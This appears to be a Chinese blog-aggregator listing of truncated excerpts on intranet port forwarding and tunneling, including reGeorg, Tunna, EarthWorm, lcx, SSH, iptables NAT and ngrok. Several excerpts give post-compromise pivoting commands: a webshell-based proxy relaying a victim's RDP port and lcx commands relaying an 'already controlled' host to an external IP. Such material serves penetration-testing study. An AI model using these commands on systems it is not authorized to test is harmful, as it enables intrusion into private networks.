目录内网转发reGeorg结合proxychains代理链(HTTP隧道) EW(EarthWorm)结合
转载
2022-12-12 19:46:17
144阅读
使用方法:上传源码包中文件夹webshell下的脚本至网站目录,然后本地进行连接上传的webshell即可python proxy.py -u http://172.0.0.1/conn.php -l 1234 -r 3389 -v这样就转发了webshell所在主机的3389到你本地的1234上,本地直接远程127.0.0.1:1234即可python proxy.py -u http://17
原创
2015-05-30 20:06:12
2132阅读
linux系统 1.准备环境 云服务器 193.112.1.43(公)172.16.0.23(内) 云数据库pgsql 内网 172.16.32.98:5432 同一私有网络,默认内网互通 2.云服务器上做如下转发 iptables -t nat -A PREROUTING -d 172.16.0. ...
转载
2021-09-24 14:43:00
1465阅读
2评论
对于内网端口转发和内网隧道的一些个人经验:当我们通过Web渗透拿到了一台Web
转载
2022-12-12 19:56:48
24阅读
Tunna和reduh原理一样.. 使用方法: 上传源码包中文件夹webshell下的脚本至网站目录 然后本地进行连接上传的webshell即可 python proxy.py -u http://172.0.0.1/conn.php -l 1234 -r 3389 -v 这样就转发了webshel
转载
2016-08-05 14:26:00
134阅读
2评论
把放置到已经控制的内网主机执行 内网主机输入命令lcx.exe -slave 外网ip 外网端口 内网ip 内网端口lcx.exe -slave 30.1.85.55 2222 127.0.0.1 3389 外网主机输入命令lcx.exe -listen 2222 3388打开 mstscip:3388
转载
2021-05-10 19:40:03
424阅读
2评论
package main
import (
"io"
"log"
"net/http"
"strings"
)
func main() {
localHost := "127.0.0.1.8001"
targetHost := "127.0.0.1:80"
httpsServer(localHost, targetHost)
log.Fatalln("http server
转载
2019-11-01 15:58:00
331阅读
2评论
自从用 HAProxy 对服务器做了负载均衡以后,感觉后端服务器真的没必要再配置并占用公网IP资源。
而且由于托管服务器的公网 IP 资源是固定的,想上 Keepalived 的话,需要挤出来 3 个公网 IP 使用,所以更加坚定了让负载均衡后端服务器释放公网 IP 的想法。
可是,后端服务器也不是简单释放公网 IP 就能正常工作的,正在运行的系统很多模块依然需要具有连接外网获取数据的能力。所以就
转载
2024-03-06 17:43:38
61阅读
这里使用的是传统穿透方法,需要一个有公网ip的中转节点去告知看最下面,用最新版的frps1、注意服务器和客户机之间的数据传输全部经过中转服务器,传输速度将受制于中转服务器的上下行带宽。2、穿透原理其实就是客户端A绑定端口发送数据,然后监听该端口,然后由中转服务器告诉客户端B,客户端A的公网IP和公网端口,客户端B连接A的公网IP和公网端口,数据包自动由NAT转化为客户端内网IP和内网端口。中转服务
转载
2024-05-19 15:53:31
173阅读
配置Nginx,然后生成一键生成静态页面,然后就没有然后了,所有栏目页面都显示nginx 403 forbidden。一般来说nginx 的 403 Forbidden errors 表示你在请求一个资源文件但是nginx不允许你查看。403 Forbidden 只是一个HTTP状态码,像404,200一样不是技术上的错误。哪些场景需要返回403状态码的场景?1.网站禁止特定的用户访问所有内容,例
转载
2024-01-30 20:41:07
139阅读
假设原本图片地址:http://xxx.xxx.xxx.xxx/static/v1/image/image_20191021/task/20191021/dbfc35954eac41568e
原创
2022-09-08 09:44:35
443阅读
反弹端口
转载
2023-05-19 16:28:58
524阅读
1.在后渗透阶段,如果我们拿下了一台服务器的权限,发现在服务器所属的内网中有一台开启了3389或者22端口的主机,但是无法直接连接,是因为目标服务器处在内网中或者没有联网,这个时候我们可以借助内网中另一台可以联网的服务器来作为代理服务器与连接开启3389的服务器进行连接。2.实验环境:系统用户桥接 192.168.0.0/24NAT 192.168.11.0/24win10管理员192.168.0
今天小编要给大家推荐一款开源神器—— ngrok。相信做过微信开发的童鞋都不同程度上遇到过这样的问题,那就是苦于微信的开发模式,必须提供一个可以外网访问的域名和服务器。因此我们只能在服务器中开发,或者在本地完成开发之后到服务器上测试。这就苦了我们这些没有域名或者服务器的宝宝们。那么如何解决这样一个问题呢?现在好了,小编今天要给大家推荐这款神器可以完美解决这个问题啦。那么 ngrok 到底可以给我们
原创
2021-01-31 20:31:19
641阅读
前两天在工作中遇到一个需求,某192.168.1.0/24内网网段内只有一台主机A连接到了公网,A的两块网卡分别有一个公网地址(123.234.345.456)和一个内网地址(192.168.1.10),现需要内网的另一台主机B(192.168.1.77)连接到互联网下载某些东西,同时将B的某服务端口开放到公网上,两台主机的系统均为CentOS7。主要参考了 和 两
转载
2024-03-26 16:56:11
58阅读
CentOS下配置iptables防火墙
linux NAT(iptables)配置
CentOS下配置iptables
1,vim /etc/sysconfig/network 这里可以更改主机名称。
NETWORKING=yes
NETWORKING_IPV6=no
HOSTNAME=BGI-TJ.localdomain
GATEWAY=192.168.11.1(超算网关)
2.v
转载
2024-07-22 08:27:54
77阅读
文章目录一、环境准备:二、工具:三、概念:四、学习目的:五、SSH代理转发介绍:六、SSH代理转发使用说明:七、SSH代理转发:1. 正向动态转发隧道:1.1 场景:1.2 网络拓扑图:1.3 说明:1.4 实验过程: 一、环境准备: 准备一台CentOS主机,并为CentOS主机添加一张网卡,并为它配置为处于内网环境。以下是网上配置过程:1、添加网卡: 2、查看新添加的网卡mac地址:3、找
转载
2024-03-28 13:04:46
28阅读
本篇教程主要将如何快速地搭建本地服务器,以及使用免费的内网穿透工具,实现外网访问内网服务器,将本地网站发布到外网可访问,方便进行微信公众号、小程序开发本地调试等。本篇教程分两部分来讲:搭建本地服务器免费内网穿透一、搭建本地服务器
市面上有很多服务器软件可以选择,但都需要进行一定配置,这里直接使用phpstudy集成软件,比较简单。下载并安装phpstudy官网地址:https://www.xp.c
转载
2023-09-15 16:44:44
111阅读
内网端口转发最常见的不外乎lcx与nc反弹了,好久不用快忘了,今天总结一下 一.使用lcx进行内网端口转发Lcx.exe是一个端口转发工具,相当于把目标服务器A上的3389端口转发到具有外网ip地址的B机上(即我们自己的主机或是已经控制的主机),这样链接B机的3389端口就相当于链接A机的3389端口了,Lcx程序多用于被控制计算机处于内网的时候,被控制机可能中了木马程序,虽然能够进行控
转载
2024-05-06 07:49:45
225阅读
1 前言
谈到内网转发,在我们日常的渗透测试过程中经常会用到端口转发,可以利用代理脚本将内网的流量代理到本地进行访问,这样极大的方便了我们对内网进行横向渗透。
那为什么不直接通过登陆服务器来对内网中其他机器进行渗透,而是通过内网转发呢?意义何在呢?
因为………
大部分时候拿到权限不够,无法直接登录。
而且如果在内网服务器中进行操作,我们需要上传工具进行很多操作,如果服务器缺少对应的环境变量或者组
转载
2021-07-22 09:06:54
1325阅读